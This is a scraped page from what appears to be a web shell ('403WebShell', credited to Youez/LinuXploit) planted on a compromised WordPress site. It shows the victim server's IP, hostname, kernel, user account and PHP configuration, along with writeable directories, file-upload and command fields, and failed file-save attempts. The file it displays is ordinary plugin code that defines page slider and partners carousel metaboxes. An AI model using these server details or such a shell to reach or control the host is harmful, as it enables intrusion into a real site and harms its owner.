Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.141.46.108
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/ombre-features/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/ombre-features/page-metaboxes.php
<?php
/* ---------------------------------------------------------
Page Slider
----------------------------------------------------------- */

function ombre_pageslider( $meta_boxes ) {
    $prefix = 'ombre'; // Prefix for all fields
    $meta_boxes['ombre_pagesliderimg'] = array(
        'id' => 'ombre_pagesliderimg',
        'title' => esc_attr__( 'Slider (Optional)', 'ombre'),
        'object_types' => array('page'), // post type
        'context' => 'normal', // normal or side
        'priority' => 'default', // default or high
        'show_names' => true, // Show field names on the left
        'fields' => array(
            array(
                'name' => esc_attr__( 'Activate Autoplay', 'ombre'),
                'desc' => esc_attr__( 'To activate autoplay, check this box.', 'ombre'),
                'id' => $prefix . 'pactivateauto',
                'type' => 'checkbox'
            ),
            array(
                'name' => esc_attr__( 'Activate Colorbox', 'ombre'),
                'desc' => esc_attr__( 'To activate colorbox, check this box.', 'ombre'),
                'id' => $prefix . 'pactivatecolorbox',
                'type' => 'checkbox'
            ),
            array(
                'name' => esc_attr__( 'Autoplay duration:', 'ombre'),
                'id' => $prefix . 'pautoplaypause',
                'desc' => esc_attr__( 'The time (in seconds) between each auto transition', 'ombre'),
                'type' => 'select',
                'options' => array(
                    '4' => esc_attr__( '4 Seconds', 'ombre' ),
                    '2' => esc_attr__( '2 Seconds', 'ombre' ),
                    '3' => esc_attr__( '3 Seconds', 'ombre' ),
                    '5' => esc_attr__( '5 Seconds', 'ombre' ),
                    '6' => esc_attr__( '6 Seconds', 'ombre' ),
                    '7' => esc_attr__( '7 Seconds', 'ombre' ),
                    '8' => esc_attr__( '8 Seconds', 'ombre' ),
                    '9' => esc_attr__( '9 Seconds', 'ombre' ),
                    '10' => esc_attr__( '10 Seconds', 'ombre' ),
                    '11' => esc_attr__( '11 Seconds', 'ombre' ),
                    '12' => esc_attr__( '12 Seconds', 'ombre' ),
                    '13' => esc_attr__( '13 Seconds', 'ombre' ),
                    '14' => esc_attr__( '14 Seconds', 'ombre' ),
                    '15' => esc_attr__( '15 Seconds', 'ombre' ),
                ),
            ),
            array(
                'id' => $prefix . 'sliderimgs',
                'name' => esc_attr__( 'Images:', 'ombre'),
                'desc' => esc_attr__( 'You can make a multiselection with CTRL + click', 'ombre'),
                'type' => 'file_list',
                'preview_size' => array( 100, 100 )
            )
        ),
    );

    return $meta_boxes;
}
add_filter( 'cmb2_meta_boxes', 'ombre_pageslider' );

/* ---------------------------------------------------------
Partners Carousel
----------------------------------------------------------- */

function ombre_partners_carousel( $meta_boxes ) {
    $prefix = 'ombre';
    $meta_boxes['ombre_partners_check'] = array(
        'id' => 'ombre_partners_check',
        'title' => esc_attr__( 'Partners', 'ombre'),
        'object_types' => array('page'),
        'context' => 'normal',
        'priority' => 'default',
        'show_names' => false,
        'fields' => array(
            array(
                'name' => esc_attr__( 'Partners', 'ombre'),
                'desc' => esc_attr__( 'To add the partners carousel to the bottom of the page, check this box.', 'ombre'),
                'id' => $prefix . 'partnerscheck',
                'type' => 'checkbox'
            )
        ),
    );

    return $meta_boxes;
}
add_filter( 'cmb2_meta_boxes', 'ombre_partners_carousel' );
?>

Youez - 2016 - github.com/yon3zu
LinuXploit